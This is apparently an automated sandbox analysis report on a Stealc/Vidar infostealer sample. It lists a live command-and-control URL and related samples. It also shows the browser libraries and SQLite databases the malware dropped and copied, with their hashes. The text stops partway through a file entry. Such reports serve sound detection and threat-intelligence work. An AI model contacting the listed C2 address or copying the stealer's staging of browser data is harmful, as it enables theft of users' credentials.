Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	xwZfYpo16i.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	NHvurkKE21.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	xwZfYpo16i.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	185.215.113.103
	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.103
	NHvurkKE21.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	out.exe	Get hash	malicious	Vidar	Browse
	wULBz8VjH0.exe	Get hash	malicious	Vidar	Browse
	FdjDPFGTZS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	45Ywq5ad5H.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	f1r6P3j3g7.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	out.exe	Get hash	malicious	Vidar	Browse
	wULBz8VjH0.exe	Get hash	malicious	Vidar	Browse
	FdjDPFGTZS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	45Ywq5ad5H.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	f1r6P3j3g7.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CGCFBFBGHDGDAKECAKJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\ECFHJKEBAAECBFHIECGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHDHIDAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHDAEHDAKECGCAKFCFIJDHJDBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCAFCAFHJJDBFIECFBKECFHDGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDBKJDGIJECFIEBFIDHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHIDHCBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJJJEBGDAFHJEBGDGIJDHCAKJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: out.exe, Detection: malicious, Browse Filename: wULBz8VjH0.exe, Detection: malicious, Browse Filename: FdjDPFGTZS.exe, Detection: malicious, Browse Filename: 45Ywq5ad5H.exe, Detection: malicious, Browse Filename: f1r6P3j3g7.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: NdSXVNeoET.exe, Detection: malicious, Browse Filename: VLSiVR4Qxs.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: out.exe, Detection: malicious, Browse Filename: wULBz8VjH0.exe, Detection: malicious, Browse Filename: FdjDPFGTZS.exe, Detection: malicious, Browse Filename: 45Ywq5ad5H.exe, Detection: malicious, Browse Filename: f1r6P3j3g7.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: NdSXVNeoET.exe, Detection: malicious, Browse Filename: VLSiVR4Qxs.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
